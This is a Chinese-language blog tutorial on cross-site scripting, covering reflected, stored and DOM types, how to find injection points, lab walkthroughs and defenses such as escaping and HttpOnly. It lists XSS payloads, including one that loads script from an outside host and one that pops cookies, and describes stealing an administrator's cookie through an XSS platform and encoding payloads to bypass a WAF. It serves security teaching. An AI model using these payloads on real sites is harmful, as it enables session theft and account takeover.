xss攻击

一、xss的原理

XSS是一种在web应用中的安全漏洞,它允许恶意web用户将代码植入到提供给其它用户使用的页面中、xss也可以叫做前端注入其核心是用户输入的数据被当做前端代码(JavaScript)执行。
HTML 是一种超文本标记语言,通过将一些字符特殊地对待来区别文本和标记,例如,小于符号(<)被看作是 HTML 标签的开始,当动态页面中插入的内容含有这些特殊字符(如<)时,用户浏览器会将其误认为是插入了 HTML 标签,当这些 HTML 标签插入了一段 JavaScript 脚本时,这些脚本程序就会在用户浏览器中被执行、就会产生 XSS 漏洞。

二、xss的危害

  • 窃取目标cookie(读取cookie然后发送出去)
  • 获取内网IP(攻击内网)
  • 获取浏览器保存的明文密码
  • 截取网页屏幕
  • 网页上的键盘记录

三、xss的类型

(1)反射型xss

反射性xss也称非持久型xss,类似于一次性会话,攻击的脚本代码不会被记录到目标数据库中,用此类型xss需要自己构建带有xss漏洞的页面去诱导用户访问才能达到攻击目的

(2)存储型xss

存储性xss也称持久型xss,具有很高的隐蔽性危害性也是最高的,与反射性相反,攻击的脚本代码会被永久的记录到目标数据库中并在网页上显示,只要有用户访问了带有该xss攻击的网页就能达到攻击

(3)DOM型xss

DOM型xss漏洞是基于文档对象模型(Document Objeet Model,DOM)的一种漏洞通常也是反射型xss,不会经过后端,其核心是通过网页url传参恶意代码 通过js把网页进行了修改并把恶意代码执行出来

四、xss的常见触发方法

标签法
直接插入标签

<script>alert(1)</script> //弹窗1
<script src=http://xss.com/></script> //引用外部xss
<script>alert(document.cookie)</script> //直接弹出cookie

伪协议法
有跳转的地方可以触发

<a href='Javascript:alert(1)'>abc</a>

事件法
满足条件自动触发

<img src=oninput=alert(1) />

五、xss挖掘

xss的挖掘必要前提是有输入和有输出的地方,核心就是见框就插, 在能输出的地方输入一些醒目字符 并在网页源代码中寻找该字符出现的位置, 在分析该位置是否能注入成功。
反射型xss大多出现在搜索框、
存储型xss大多出现在留言板、个人信息、邮箱、意见框等
dom型xss挖掘可寻找关键函数:Document.write(把里面的内容写到页面里)、document.URL(获取URL地址)

六、反射型xss靶场案例

首先使用标签法进行测试、发现无法弹窗
在这里插入图片描述
在源代码中发现此处<>被过滤了,并且需要闭合前面的引号注释后面的 '>
在这里插入图片描述

采用事件法 输入 'οninput=alert(1)// 此事件是输入弹窗 在对话框中随意输入,成功触发反射型xss
在这里插入图片描述

七、存储型xss靶场案例

网上查找cms版本号在网上曾经爆出的漏洞,发现一存在一个存储性xss,通过构造URL,让后台生成错误日志,而后台对错误日志的内容写入没有进行安全检查,导致写入的内容原原本本的显示在错误日志的页面中,当管理员在后台查看错误日志时,就会触发XSS代码。
在这里插入图片描述
输入:index.php?c=x&m=
在这里插入图片描述
直接利用xss平台生成攻击代码进行注入,只要管理员访问就能盗取cookie并发送到xss平台上
在这里插入图片描述在这里插入图片描述

八、Dom型xss靶场案例

查看源代码发现此处存在使用js向url获取参数并显示到页面
在这里插入图片描述
在url处传参尝试让其弹窗,发现让安全狗拦截了
在这里插入图片描述
document.write 支持native编码 尝试进行编码绕过waf
在这里插入图片描述

九、xss防御

在输出数据之前对潜在的威胁的字符进行编码、转义是防御XSS攻击十分有效的措施。如果使用好的话,理论上是可以防御住所有的XSS攻击的

  • 对输入进行过滤和html实体化(对代码进行编码,让代码只有文本意义),比如把尖括号换成&lt

  • httponly:禁止JS代码获取Cookie 但是此方法可以使用IE浏览器进行绕过 因为IE浏览器不支持httponly

  • 架设Waf

  • 过滤危险参数

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值